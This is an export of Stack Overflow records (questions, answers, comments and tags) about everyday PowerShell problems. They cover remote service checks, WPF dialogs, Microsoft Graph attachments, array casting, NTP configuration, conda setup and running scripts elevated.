accepted answer of: http://stackoverflow.com/q/79353181

http://stackoverflow.com/comment/140073267
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79412675
has text: is this workaround?
type: Comment

http://stackoverflow.com/q/79366200
has answer: http://stackoverflow.com/a/79366229
score: 1
accepted answer: http://stackoverflow.com/a/79366229
type: Question
has title: Script to Check Services on Remote Servers Not Working
downvote count: 0
answer count: 1
tagged with: powershell
type: AnsweredQuestion
has body: I'm trying to get the script below to do the following. Ping each server making sure it's up. (Working) Check multiple services on multiple servers to make sure they are running (Working...Kinda). For # 2 the script executes and seems to run successful but always returns that the service is not running although it is. I pretty new to PS so any guidance is appreciated. $Servers = "Server1", "Server2" $services = "Service1", "Service2" $Cred = Get-Credential foreach ($Server in $Servers) { $ip = $Server.Split(" - ")[0] if (Test-Connection $ip -Count 1 -ErrorAction SilentlyContinue){ Write-Host "$ip is up" } else{ Write-Host "$ip is down" } } foreach ($server in $servers) { Write-Host "Checking services on $server..." foreach ($service in $services) { $status = Invoke-Command -ComputerName $servers -Credential $Cred -ScriptBlock { Get-Service -Name $services -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Status } if ($status -eq "Running") { Write-Host "$service is running on $server" } else { Write-Host "$service is not running on $server" } } } I have tried multiple ways to get this to work, but unfortunately nothing has.
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/79347016
type: AnsweredQuestion
tagged with: powershell
upvote count: 1
tagged with: wpf
has body: TLDR: This issue is now fixed, it was a scoping issue. Please see my response below for the full working code to use in your own projects. Enjoy! I have been making an ezXAML library (easy XAML) for Windows Power Shell. Basically you can create a DOM like you would with jQuery: Create element and add children this builds a virtual DOM. The ToString function makes the XAML string from my element class including all the children and their children. You send your element to load window: a window element is created, your DOM is added as a child, the string is sent to the xamlReader to be loaded to a window object, then ShowDialog is called on it. I am using modal windows so the virtual and real DOM stay consistent with each other: I can navigate my virtual DOM easy to find element names to look up in the real DOM. I then took a page from AngularJS, adding my own ezClick and ezKeyDown. I even added ezBind for databinding. I even wrote a bunch of unit tests to test my library, including a simple incrementer unit test that uses ezClick and ezBind.
score: 1
favorite count: 0
has title: How can I fix using Power Shell and WPF windows, setting the text property of a textblock is failing with "Array index was null" with a complex DOM
answer count: 2
has answer: http://stackoverflow.com/a/79358753
tagged with: xaml
type: Question
possible better answer: http://stackoverflow.com/a/79358753
has answer: http://stackoverflow.com/a/79387414
accepted answer: http://stackoverflow.com/a/79387414
downvote count: 0

http://stackoverflow.com/q/79352579
has answer: http://stackoverflow.com/a/79420277
has comment: http://stackoverflow.com/comment/140052472
accepted answer: http://stackoverflow.com/a/79420277
has title: MSgraph cannot find string in attachment value using Azure Automation
type: Question
has body: So I have a automation that fetches attachments in from Outlook mails and does some conversion on a Virtual Machine. We recently renewed our MSgraph secret, and since then our code has stopped working somewhat. See, some mail have a excel file directly attached, but other mails have a email attachment, wherein there is either a excel file or a zip file. We only have problems with the nested email attachments... A function is called an that starts out with: Write-Host "Downloading attachments:`n`tMessageId: $($mail.internetMessageId)`n`tSubject: $($mail.subject)" $files = @() $r_att = Invoke-GraphRequest "https://graph.microsoft.com/v1.0/me/messages/$($mail.id)/attachments" -AccessToken $token After which the result is looped over. The if-statement handles excel files and the else handles the nested emails. ($r_att.Result.Content | ConvertFrom-Json).value | ForEach-Object { if ($_.contentBytes) { $f = HandleAttachment $_ if ($f) { $files += $f } } Next handling the nested attachment that is an excel file: else { Write-Host "Handling nested attachment: $($_.name)" $v = Invoke-GraphRequest "https://graph.microsoft.com/v1.0/me/messages/$($mail.id)/attachments/$($_.id)/`$value" -AccessToken $token $rfc822 = $v.Result.Content -replace "`r", '' -split "`n" <#$stringbuild = $rfc822 -join "-" return $stringbuild#> $boundaryMatches = $rfc822 | Select-String -Pattern '^Content-Type: multipart/mixed;boundary="?(.*?)"?$' -AllMatches if ($boundaryMatches) { #Write-Warning "No multipart/mixed content found for nested attachment: $($_.name)" $boundaryMatches | ForEach-Object { $region = $_.Matches[0].Groups[1].Value Write-Host "Found boundary: $region" $region_start = $rfc822.IndexOf("--$region") $region_end = $rfc822.IndexOf("--$($region)--") if ($region_start -ne -1 -and $region_end -ne -1) { $content = $rfc822[($region_start + 4) .. ($region_end - 1)] $f = "$([System.IO.Path]::GetTempFileName()).xlsx" [System.IO.File]::WriteAllBytes($f, ($content -join "`r`n").ToCharArray()) $fi…
answer count: 1
type: AnsweredQuestion
tagged with: powershell
tagged with: azure
tagged with: azure-automation
tagged with: microsoft-graph-api
score: 0

http://stackoverflow.com/comment/139739089
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79245155
has text: _"memory intensive"_ - I'm skeptical... internally it's just making HTTP requests with Azure's web-service and downloading on-the-order-of tens-to-hundreds of KiB worth of JSON documents (i.e. text). If you're seeing PowerShell using hundreds of MB of RAM well that's just PowerShell... well, ..._being PowerShell_ - and will be unrelated to having nested loops.
type: QuestionComment

http://stackoverflow.com/comment/139901962
type: QuestionComment
type: Comment
score: 0
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/259033/discussion-between-rithwikbojja-and-manuelarte).
comment on: http://stackoverflow.com/q/79335299

http://stackoverflow.com/q/79286119
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139816150
has title: Issue "Invoke-Command & Get-Content with large files"
type: Question
answer count: 3
tagged with: invoke-command
has answer: http://stackoverflow.com/a/79301006
has comment: http://stackoverflow.com/comment/139819719
has comment: http://stackoverflow.com/comment/139821396
has answer: http://stackoverflow.com/a/79291694
has answer: http://stackoverflow.com/a/79289560
score: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139817893
has comment: http://stackoverflow.com/comment/139814078
has comment: http://stackoverflow.com/comment/139836770
has comment: http://stackoverflow.com/comment/139812981
has comment: http://stackoverflow.com/comment/139816643
has body: this is my first post because i can't find a solution and i don't understand whats wrong... I have a simple script which should read a large logfile on a client with get-content in an invoke-command. $getcontent = Get-Content $_.FullName If I execute the get-content directly on the client, it takes less than 20 seconds and the logfile has been read into a variable. If I execute the same command via an invoke, it takes 2 minutes(2). $test = invoke-command -ComputerName "computername" -ScriptBlock{ Get-ChildItem "g:\test*.log" -Filter *.log | Foreach-Object { $getcontent = Get-Content $_.FullName $linenumber = 0 foreach($line in $getcontent){ $linenumber += 1 if($line.Contains("Received barcode: ")){ $upc = ($line -split "Received barcode: ")[1] if($upcssr.Length -le 13){ $checkupcssr += $upcssr #and i need to do more stuff here... } } } } return $checkupcssr } any idea why?
has comment: http://stackoverflow.com/comment/139812770
has comment: http://stackoverflow.com/comment/139812701

http://stackoverflow.com/comment/139744750
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79248512
has text: Ok, and just to confirm, basically all files inside each folder get their parent folder name (i.e.: `vdl-1984-01` + `-` and a 3 digit incrementing number) is that correct ?

http://stackoverflow.com/a/79314603
score: 4
has comment: http://stackoverflow.com/comment/139863621
type: Answer
accepted answer of: http://stackoverflow.com/q/79314201
has body: With respect to use of @(...), the array-subexpression operator, to create an [object[]]-typed copy of an array: Your code works as-is in PowerShell (Core) 7; that is, @(...) reliably produces an [object[]]-typed array, irrespective of the type of the input array and irrespective of whether you use a literal cast (e.g. [string[]] inside @(...)) In Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) you need a workaround when you use a literal cast inside @(...), because v5.1 has an ill-advised optimization that optimizes the @(...) away in this case (an optimization that was later reverted in PowerShell 7): Using @([string[]] (42, 43)) as an example: As implied by the above, simply omitting the [string[]] cast will result in an [object[]] array. If you do need the cast, use the following workaround: @([string[]] (42, 43) | Write-Output -NoEnumerate) Involving a cmdlet (which in this case simply passes each input through) disables the optimization and results in the usual collecting of the output in an [object[]] array. See below for a faster alternative. Whenever @(...) works as intended, note that while it is a convenient way to create an [object[]]-typed copy of a given array, it is also inefficient: It involves enumerating the array, i.e. processing its elements one by one, and then collecting them in a(n invariably new) array, always of type [object[]]). See the next section for better-performing alternatives. With respect to using array type constraints / casts: Note: A type constraint on a variable (e.g., [object[]] $arrayO = ... differs from a cast (e.g., $arrayO = [object[]] ...) mainly in that the former in essence implicitly re-applies the cast to future assignments to the same variable.[1] I'm only referring to and using casts in the discussion below, but the same applies equally to type constraints. Daniel hit the nail on the head in a comment: Surprisingly, PowerShell - in both edi…
upvote count: 4
answers question: http://stackoverflow.com/q/79314201
downvote count: 0
has comment: http://stackoverflow.com/comment/139863747
type: AcceptedAnswer

http://stackoverflow.com/a/79385414
type: Answer
has body: What do you plan to do with the time "delta" once you get it? Windows doesn't really let you get the time down to the "ticks", all you can do is setup the time parameters in the resgistry, which I recommend doing with w32TM and let the time service handle it from there. As long as your server is not more than so many seconds off the time service will real it in within a reasonable time delta of the server. WORKGROUP or non member servers should just go strait to the NTP server to sync time, and member servers and everything else with the exception of your PDC Emulator should be set to NTDS5 or "DOMHEIR" for syncing time with the domain controller. Only one Domain controller in your domain should have the PDC Emulator FSMO role. The link to the official M$ document is in the comment block. I wrote this a long time ago. . . <# .Synopsis Sets up NTP time sync properly .DESCRIPTION Sets the NTP time settings used by the Windows Time service to sync time based on Microsoft Best practices for domain joined computers according to their role .EXAMPLE .\Set-NTPTime.ps1 .EXAMPLE .OUTPUTS This command generates the proper syntax and sends it to the w32tm.exe command line utility .NOTES This command should be used with caution on Windows Clusters as the cluster service depends on the time service. Time is also extremely important for proper logon and kerberos tickets from Active Directory. One should never turn their backs on time -Casta way #> $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole switch ($DomainRole) { 0 {"Stand Alone Workstation" ; $SYNCType = "MANUAL"} 1 {"Member Workstation" ; $SYNCType = "DOMHIER"} 2 {"Standalone Server" ; $SYNCType = "MANUAL"} 3 {"Member Server" ; $SYNCType = "DOMHIER"} 4 {"Backup Domain Controller" ; $SYNCType = "DOMHIER"} 5 {"Primary Domain Controller" ; $SYNCType = "MANUAL"} } if ($SYNCType -ne $Null) { $FilePath = Get-ChildItem C:\Windows\system*\w32tm.exe -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName …
answers question: http://stackoverflow.com/q/79383065
has comment: http://stackoverflow.com/comment/140004776
score: 0

elevation
type: Tag
tags question: http://stackoverflow.com/q/79419763
tags question: http://stackoverflow.com/q/79410051
tag name: elevation

http://stackoverflow.com/comment/139800550
comment on: http://stackoverflow.com/q/79274648
type: QuestionComment
type: Comment
score: 0
has text: I need to check if an app makes holes in the firewall.

http://stackoverflow.com/comment/140057010
comment on: http://stackoverflow.com/a/79415504
has text: Glad to hear it, @GermanKiwi; my pleasure.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139904641
comment on: http://stackoverflow.com/a/79330628
type: Comment
has text: you have gone on for a while about code that has no problem and is working as expected, that I only referenced as an example of what *was* working as expected and to illustrate that. Get-DisplayDialog is not the problem. But thank you for the lecture.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140016309
comment on: http://stackoverflow.com/a/79392267
type: Comment
score: 0
type: AnswerComment
has text: @user66001: Please see my update (preface and new bottom section). Ctrl+C is a general mechanism for _aborting_ scripts and console applications, which therefore also applies to `$host.UI.PromptForChoice()`. Arguably, the latter _should_ honor `[Console]::TreatControlCAsInput = $true` and return `-1` when Ctrl+C is pressed, but it's less obvious how `Read-Host` should behave in that case. Santiago's answer shows a lower-level approach, and it sounds like it worked for you; note that the message-box solution is not _generally_ a viable alternative, due to only supporting a limited # of choices.

http://stackoverflow.com/comment/139931011
has text: To target multiple servers, pass their names as an _array_ to `-ComputerName`. Describe in what way `-AsJob` didn't work. Note that you don't need to call your script via a `powershell.exe` child process.
score: 0
comment on: http://stackoverflow.com/q/79350568
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139958602
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79361998
score: 0
has text: Perhaps you need to add switch [UpdateExistingLists](https://pnp.github.io/powershell/cmdlets/Set-PnPField.html#-updateexistinglists) to the `Set-PnPField` command. If I read the description, _If not provided or set to $false, **existing lists using the field will remain unchanged but new lists will get the updated field**._

http://stackoverflow.com/comment/139813611
comment on: http://stackoverflow.com/q/79286482
score: 1
type: QuestionComment
has text: obviously there's no way to consistently map the huge number of long names into the tiny set of 8.3 names. The same long file name may have different short names in different folders, for example because that name was already available before this file was created in one folder. Besides, you can [set the shortname randomly](https://stackoverflow.com/a/65617007/995714)
type: Comment

http://stackoverflow.com/comment/139988873
has text: @SantiagoSquarzon most was done with copilot but I keep looking over the code and adjusting it myself.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79381065

http://stackoverflow.com/comment/140026476
score: 0
has text: That did it, just got my own info what is the purpose of the 2 different quote marks?
type: QuestionComment
comment on: http://stackoverflow.com/q/79400817
type: Comment

arguments
type: Tag
tags question: http://stackoverflow.com/q/79324508
tag name: arguments
tags question: http://stackoverflow.com/q/79475346
tags question: http://stackoverflow.com/q/79541949

http://stackoverflow.com/q/79392142
upvote count: 1
favorite count: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/79392267
has answer: http://stackoverflow.com/a/79394066
has comment: http://stackoverflow.com/comment/140009804
type: Question
linked to: http://stackoverflow.com/q/57131654
has title: Detect when user cancels $host.ui.promptforchoice prompt
tagged with: while-loop
tagged with: keyboardinterrupt
accepted answer: http://stackoverflow.com/a/79394066
has comment: http://stackoverflow.com/comment/140009541
tagged with: powershell
type: AnsweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/140013101
has answer: http://stackoverflow.com/a/79392267
score: 0
has comment: http://stackoverflow.com/comment/140013086
has body: This is driving me nuts. If one runs the below script, cancels the $host.ui.promptforchoice, and checks $Choice, they get: PS C:\> $Choice.gettype() IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True Int32 System.ValueType PS C:\> write-host """$Choice""" "-1" PS C:\> $Choice -eq -1 True What on earth am I missing in my do...while loop that has the script exiting (it isn't the return; I commented out the switch statement) without looping! $s = "" do { $Choice = $host.ui.promptforchoice($ScriptFileName, "$($s)User this script is running under is not an admin acount.`r`n`r`nRunning this script will cause multiple password entries throughout.`r`n`r`nRecommend logging out and logging back in as an admin, then re-running. Proceed anyway?", @("&Yes", "&No"), 1) switch($Choice) { 0 {write-host "hello";<#Log ...Proceeding with script#>} 1 {write-host "`r`n`r`nQuitting script. Please login under an admin account and rerun`r`n" -foregroundcolor red -backgroundcolor yellow; return} } $s = "Selection Cancelled. Please make a selection. No to quit the script`r`n`r`n" } while($Choice -eq -1)
has comment: http://stackoverflow.com/comment/140009660

http://stackoverflow.com/comment/139973167
type: Comment
has text: Note that member-access enumeration _does_ output `$null` values; e.g., `([pscustomobject] @{ foo = 1 }, [pscustomobject] @{ foo = $null }, [pscustomobject] @{ foo = 2 }).foo -contains $null` is `$true`. You can avoid the problem by simply specifying `$env:PATH` _twice_, which means that the entries themselves will become the (throwaway) column names, with the appropriate number of columns: `($env:PATH, $env:PATH | ConvertFrom-Csv -Delimiter ';').PSObject.Properties.Value`
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79370869

http://stackoverflow.com/comment/140061816
score: 1
comment on: http://stackoverflow.com/q/79416406
has text: The sourcecode can be found under the [project site link](https://github.com/iRon7/ObjectGraphTools) at the **PowerShell Gallery**.
type: QuestionComment
type: Comment

usb
type: Tag
tags question: http://stackoverflow.com/q/79267719
tag name: usb
tags question: http://stackoverflow.com/q/79433736

http://stackoverflow.com/comment/139972153
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79363438
type: QuestionComment
has text: I already know all PDF/A's I have are conformant, so just after a way to distinguish PDF/A's in the simplest, least complex way possible while also reducing processing time and any software costs

http://stackoverflow.com/comment/139812770
type: QuestionComment
type: Comment
score: 0
has text: yes i do - but you can try it on your own computer with invoke as well - same issue
comment on: http://stackoverflow.com/q/79286119

http://stackoverflow.com/q/79348302
has title: Powershell module class usage within a class
answer count: 1
tagged with: powershell-5.0
score: 0
tagged with: powershell
has body: I have a script like this, in a classes.psm1 file: class A { A([string] s) { } } class B : A { B([string] s) : base($s) } Then I try to import it in a .ps file: using module classes.psm1 class C : B { [A] $p C([string] s) : base($s) { $this.p = A::new($s) } } Above, B is known, but not A, throwing Unable to find type [A]. How is it possible to work with both classes in the latter script? Note: Moving C in the same module as A and B makes it unknown in the latter script.
has comment: http://stackoverflow.com/comment/139926472
type: UnansweredQuestion
type: Question
tagged with: powershell-module
has answer: http://stackoverflow.com/a/79348303

while-loop
type: Tag
tag name: while-loop
tags question: http://stackoverflow.com/q/79392142

http://stackoverflow.com/comment/139953540
type: Comment
has text: Usually problems like this are due the environmental variable PSMODULEPATH not being set properly. It may have to due to the account that was used to install the module. I would try to reinstall the module as an admin and make sure you install for all users. Downgrading is probably using the wrong folder for the module.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79362037

http://stackoverflow.com/q/79381836
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139994836
accepted answer: http://stackoverflow.com/a/79381879
score: 1
has body: I am trying to use the UNIX &amp;&amp; equivalent in powershell, as explained here, but I fail to understand the syntax. Could someone please help me understand the returned value from Move-Item in my case. Assuming you do not have a folder named foo and that you have write access to the current folder, I failed to understand why I get a False value here: &gt; (New-Item -Type Directory -Path foo) -and (Move-Item -Path foo -Destination bar) False Since: &gt; Get-Item bar Directory: C:\Users\me Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/23/2025 5:17 PM bar Using: &gt; $PSVersionTable.PSVersion Major Minor Build Revision ----- ----- ----- -------- 5 1 19041 4522 It looks like Rename-Item is producing the same symptoms I do not understand: &gt; (New-Item -Type Directory -Path foo) -and (Rename-Item -Path foo -NewName bar) False
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/79381879
has title: powershell: Understanding Move-Item returned value
linked to: http://stackoverflow.com/q/563600
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/139982320
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79377463
has text: ah, that's simple: just remove the `process{}` block from `Sort-Scripts`, or replace it with `end{}`.

http://stackoverflow.com/a/79255803
accepted answer of: http://stackoverflow.com/q/79255591
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139781967
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79255591
downvote count: 0
has body: Parameters in a new-line without a line continuation (back-tick `) will just result in an error. You will need to put a backtick after ending of each line or use splatting (this is the cleaner approach). The other problem is that mailNickname is required, you can see that in the API Doc: Property Type Description mailNickname String The mail alias for the group, unique for Microsoft 365 groups in the organization. Maximum length is 64 characters. This property can contain only characters in the ASCII character set 0 - 127 except the following: @ () \ [] " ; : <> , SPACE. Required. And the third issue will be in your dynamic group membership rule: "user.department -eq '$dept.Department'" You're not allowing it to expand to the .Department corresponding value, you should use Subexpression operator $( ): "user.department -eq '$($dept.Department)'" In summary: # Loop through each department in the CSV foreach ($dept in $departments) { # Create the dynamic group $newAzureADMSGroupSplat = @{ DisplayName = $dept.GroupName MailNickname = # You must use a value here, could use `$dept.GroupName` MailEnabled = $false SecurityEnabled = $true GroupTypes = 'DynamicMembership' MembershipRule = "user.department -eq '$($dept.Department)'" MembershipRuleProcessingState = 'On' } New-AzureADMSGroup @newAzureADMSGroupSplat Write-Host "Created dynamic group: $groupName" }
type: Answer

http://stackoverflow.com/comment/139753538
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79253460
has text: You don't want a third-party thing, but mounting is how you get the first-party thing (the filesystem driver) to see the contents of the image.

http://stackoverflow.com/comment/139821823
score: 0
comment on: http://stackoverflow.com/a/79288500
type: AnswerComment
type: Comment
has text: just make sure to add some error management... I haven't bothered to add any and there are a few points where it might be useful

http://stackoverflow.com/a/79391497
has comment: http://stackoverflow.com/comment/140010197
type: Answer
has comment: http://stackoverflow.com/comment/140048616
downvote count: 0
has body: This worked for me. You can set those environment variables in $PROFILE. Remove-Item is probably better. I can't get Remove-Variable to work on environment variables. # winget install --id=Anaconda.Miniconda3 -e conda --version usage: conda-script.py [-h] [-v] [--no-plugins] [-V] COMMAND ... conda-script.py: error: argument COMMAND: invalid choice: '' (choose from activate, clean, commands, compare, config, create, deactivate, env, export, info, init, install, list, notices, package, content-trust, doctor, repoquery, remove, uninstall, rename, run, search, update, upgrade) # setting to &quot;&quot; doesn't delete environment variables in powershell 7.5 $Env:_CE_M = $Env:_CE_CONDA = $null # remove-item env:_ce_m,env:_ce_conda conda --version conda 24.11.1
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/140045133
answers question: http://stackoverflow.com/q/79388784

http://stackoverflow.com/q/79335322
has comment: http://stackoverflow.com/comment/139901620
type: Question
has comment: http://stackoverflow.com/comment/139901576
answer count: 0
downvote count: 0
linked to: http://stackoverflow.com/q/37700536
has title: VSCode with PowerShell debugging running as administrator
tagged with: powershell
tagged with: vscode-debugger
has comment: http://stackoverflow.com/comment/139912006
type: UnansweredQuestion
score: 1
upvote count: 1
has body: I have an Hyper-V Script that I want to debug. Most Cmdlets (even Get-VM) needs to be run as Administrator. The script uses some PowerShell 7 specific Cmdlet like Test-JSon, so I cannot use Windows PowerShell ISE (despite it is deprecated, it can debug as administrator very easily). Solutions, like How can I run a command with administrator rights with Visual Studio code terminal?, do not work. Running VSCode as administrator (right click), open a PowerShell Script, then run ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") into the terminal returns False. I've got that piece of code at start : $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") If (-not $isAdmin) { # Force running with PowerShell 7 Start-Process pwsh.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs exit } When running the script from VSCode, it launches another PowerShell process (because, despites it was launched as Administrator, it do not actually) and there is no debug. If I try to force from code.exe properties, run as administrator, then I've got an error launch-failed, code 18 (I am using Windows 11 24H2). Thanks for your suggestions :)
has comment: http://stackoverflow.com/comment/139914419
duplicate of: http://stackoverflow.com/q/37700536
tagged with: visual-studio-code
favorite count: 0

http://stackoverflow.com/comment/139932565
comment on: http://stackoverflow.com/q/79351371
type: QuestionComment
type: Comment
has text: Not sure why you get this error, but on a sidenote: add-member is a very expensive call (slow). Instead of casting your hashtable to a pscustomObject you can create the ordered hashtable, use the Add method to add propertydata and then cast it to a pscustomobject at the end
score: 1

http://stackoverflow.com/a/79472662
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79388784
downvote count: 0
type: Answer
has body: If you are me who finds that conda is broken on Powershell 7.5.0 but feeling lazy about changing the environment file, Do as below. Click on Windows button. Type Miniconda or Anaconda. System will show something like Anaconda Powershell prompt. Conda prompt will work fine on that as it is not broken with Powershell 5.1. Update Conda with conda install -n base -c defaults conda=25.1.1 Close the "Anaconda Powershell prompt" Now, conda should work fine on Powershell 7.5.0. Enjoy with new environment creation and hobby projects ;-)

http://stackoverflow.com/comment/139797185
comment on: http://stackoverflow.com/a/79274613
type: Comment
has text: Thanks for the response @sirtao, I have gone with the response above for now but I may come back to this at a later date.
score: 1
type: AnswerComment

http://stackoverflow.com/a/79253567
answers question: http://stackoverflow.com/q/79251748
score: 0
accepted answer of: http://stackoverflow.com/q/79251748
has body: according to this documentation the body should be of type Hashtable example: @{clusterId="abc-123";name="bob"} and you are giving String type also the api workspace/list dosen't exists instead use /api/2.0/workspace/list. Next, the path should be given in parameter not in the body. Use below code. $apiUrl = "/api/2.0/workspace/list?path=$userFolderPath" Write-Output "Request Body: $apiUrl" $workspaceContent = Invoke-DatabricksAPI -BearerToken $ADB_Token -Region $region -Method GET -API $apiUrl $workspaceContent Output:
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/139902514
type: AnswerComment
comment on: http://stackoverflow.com/a/79335176
has text: Uncomment both `Az` and `Pnp.Powershell` in requirements.ps1 as I mentioned in the answer.
type: Comment
score: 0

http://stackoverflow.com/comment/139743223
has text: I tried Get-Job | Remove-Job Remove-Job -Job $job $job = $null, same issue
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79247480

http://stackoverflow.com/comment/140093486
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79416406
has text: @mklement0 your solution is working. There are few more enhancements to make. 1) Is there a way to indicate line #s when yielding results for id and RatedOI? I believe its ForEach-Object { $_.LineNumber but I could be wrong, I am not sure where to insert that 3) if RatedOI is not found in the JSON file, can you not yield any results2) can you accomodate mul
type: QuestionComment

http://stackoverflow.com/comment/139945655
has text: Sorry was trying to workout how to put that command in a grey background, like this `Get-MsolCompanyInformation | get-member -type property`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79271171
type: QuestionComment

http://stackoverflow.com/q/79383011
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139999837
has comment: http://stackoverflow.com/comment/140030413
tagged with: printing
has body: I am trying to get the latest print jobs within the last x amount of seconds, and then check the sizes of the print jobs that matched that search. My printer is setup as a 'virtual' printer that is used to test that documents actually arrive at the printer with the correct file size. Here is a simplified version with placeholders for the machine name and printer name; $machine = 'machine_name' # This is the location of the printer $printer = 'auto_dummy_printer' # This is the name of the printer get-printer -computername $machine | where-object -Property Name -eq $printer | Get-PrintJob | Sort-Object -Property SubmittedTime -Descending The issue I am having, is that the response I am getting doesn't always seem up to date. When I look at the printed jobs and the dates, it sometimes misses the latest print-job or two. See below, the printer window shows the printed job at 1:54:01pm; But the PowerShell response (even 10 minutes after having printed the document) doesn't show that latest printed item. It shows all the other ones, just not the newest one. The only way I have managed to get that new one to come through is by printing another document again, or restarting the printer itself. Is there some way of potentially refreshing the print jobs maybe? I'm a little lost as to why its not coming through.
has comment: http://stackoverflow.com/comment/140027220
type: Question
answer count: 0
has title: Powershell Get-PrintJob Seems unreliable
tagged with: powershell
has comment: http://stackoverflow.com/comment/140027042
score: 0

http://stackoverflow.com/comment/139851400
comment on: http://stackoverflow.com/q/79306447
has text: @Olaf - I'm trying to close the question because the basic premise is incorrect. I started by claiming my powershell function isn't working, but since all answers here give the same result I know realise the function is returning the date it should, but the re-boot isn't been recorded in the event log correctly. New question will appear on superuser soon!
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79273719
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139794493
has comment: http://stackoverflow.com/comment/139790113
has comment: http://stackoverflow.com/comment/139794659
has comment: http://stackoverflow.com/comment/139792013
has comment: http://stackoverflow.com/comment/139790035
has body: There are few reasons to use Start-Process in this case, but if you need to, such as when you need to launch a new process using Elevated Privileges, you can handle it as follows: Using Start-Process when you must First change -Command to -File. Then, since you're using -EnvVar this will mean a parameter in your script Script2.ps1. Add that parameter with a param block at the very top of the called script before anything else. In summary the calling block in Script1.ps1 can be: $env:MY_ENV_VAR = 'hello world!' $arg_list = @( '-ExecutionPolicy Bypass' '-NoExit' '-File', (Convert-Path '.\script2.ps1') '-EnvVar', $env:MY_ENV_VAR '-ErrorAction Continue' ) $startProcessSplat = @{ Verb = 'RunAs' ArgumentList = $arg_list Wait = $true FilePath = 'PowerShell.exe' } Start-Process @startProcessSplat And script2.ps1 should be: param($EnvVar) Write-Host "The message from Script1 was: $EnvVar" One last note - you can see the change from -NoNewWindow to -Verb 'RunAs', as these are mutually exclusive. If you want -NoNewWindow functionality because you don't need to launch a new elevated session, avoiding Start-Process altogether is a better and easier approach, by calling powershell.exe directly: Avoiding Start-Process altogether $env:MY_ENV_VAR = 'hello world!' powershell -File .\script2.ps1 -EnvVar $env:MY_ENV_VAR -ErrorAction Continue Or by even just invoking the script directly: $env:MY_ENV_VAR = 'hello world!' .\script2.ps1 -EnvVar $env:MY_ENV_VAR -ErrorAction Continue These two retain -NoNewWindow functionality.
has comment: http://stackoverflow.com/comment/139790038
answers question: http://stackoverflow.com/q/79273698
type: Answer

http://stackoverflow.com/q/79378728
has comment: http://stackoverflow.com/comment/139984451
upvote count: 1
favorite count: 0
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139984434
has title: Invoke-Command : Cannot Validate Argument
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139991015
has comment: http://stackoverflow.com/comment/139984962
has comment: http://stackoverflow.com/comment/139984865
has comment: http://stackoverflow.com/comment/139985145
has comment: http://stackoverflow.com/comment/139984562
type: UnansweredQuestion
score: 1
has body: I've been working on the below script for a couple of days and finally got it working as needed with Test files for variables $Servers & $Services. Today I changed the script to point to production files and now I am receiving the error "Invoke-Command: Cannot validate argument on parameter 'ComputerName'. The argument is null or empty. Provide an argument that is not null or empty and then try the command again." I've checked for spaces in my text files and made sure the data is input into the variables but still receive the error. If I point the script back to my test file, it works as planned. What gives? $Servers = Get-Content "C:\ServerFile.txt" $Services = Get-Content "C:\ServiceFile.txt" $Cred = Get-Credential $File = (Get-Content "C:\ServerValidation.txt") -join ' ' $FileFormat = $File |Format-Table |Out-String $ServiceStatus = Invoke-Command -ComputerName $Servers -Credential $Cred -ScriptBlock { Get-Service -Name $using:Services -ErrorAction SilentlyContinue | Select-Object Name, Status } -ErrorAction SilentlyContinue -ErrorVariable failedToConnect | Select-Object PSComputerName, Name, Status $failedtoConnect.TargetObject $ServiceStatus | Out-File "C:\ServerValidation.txt" Write-Output "Servers not responding" | Out-File "C:\ServerValidation.txt" -Append $failedtoConnect.TargetObject |Out-File "C:\ServerValidation.txt" -Append Send-MailMessage -To User1@XXXX.com -From User2@XXXX.com -Subject "Disregard Testing Server Validation Script " -Body $FileFormat -SmtpServer Server.XXXX.com -BodyAsHtml

http://stackoverflow.com/q/79329437
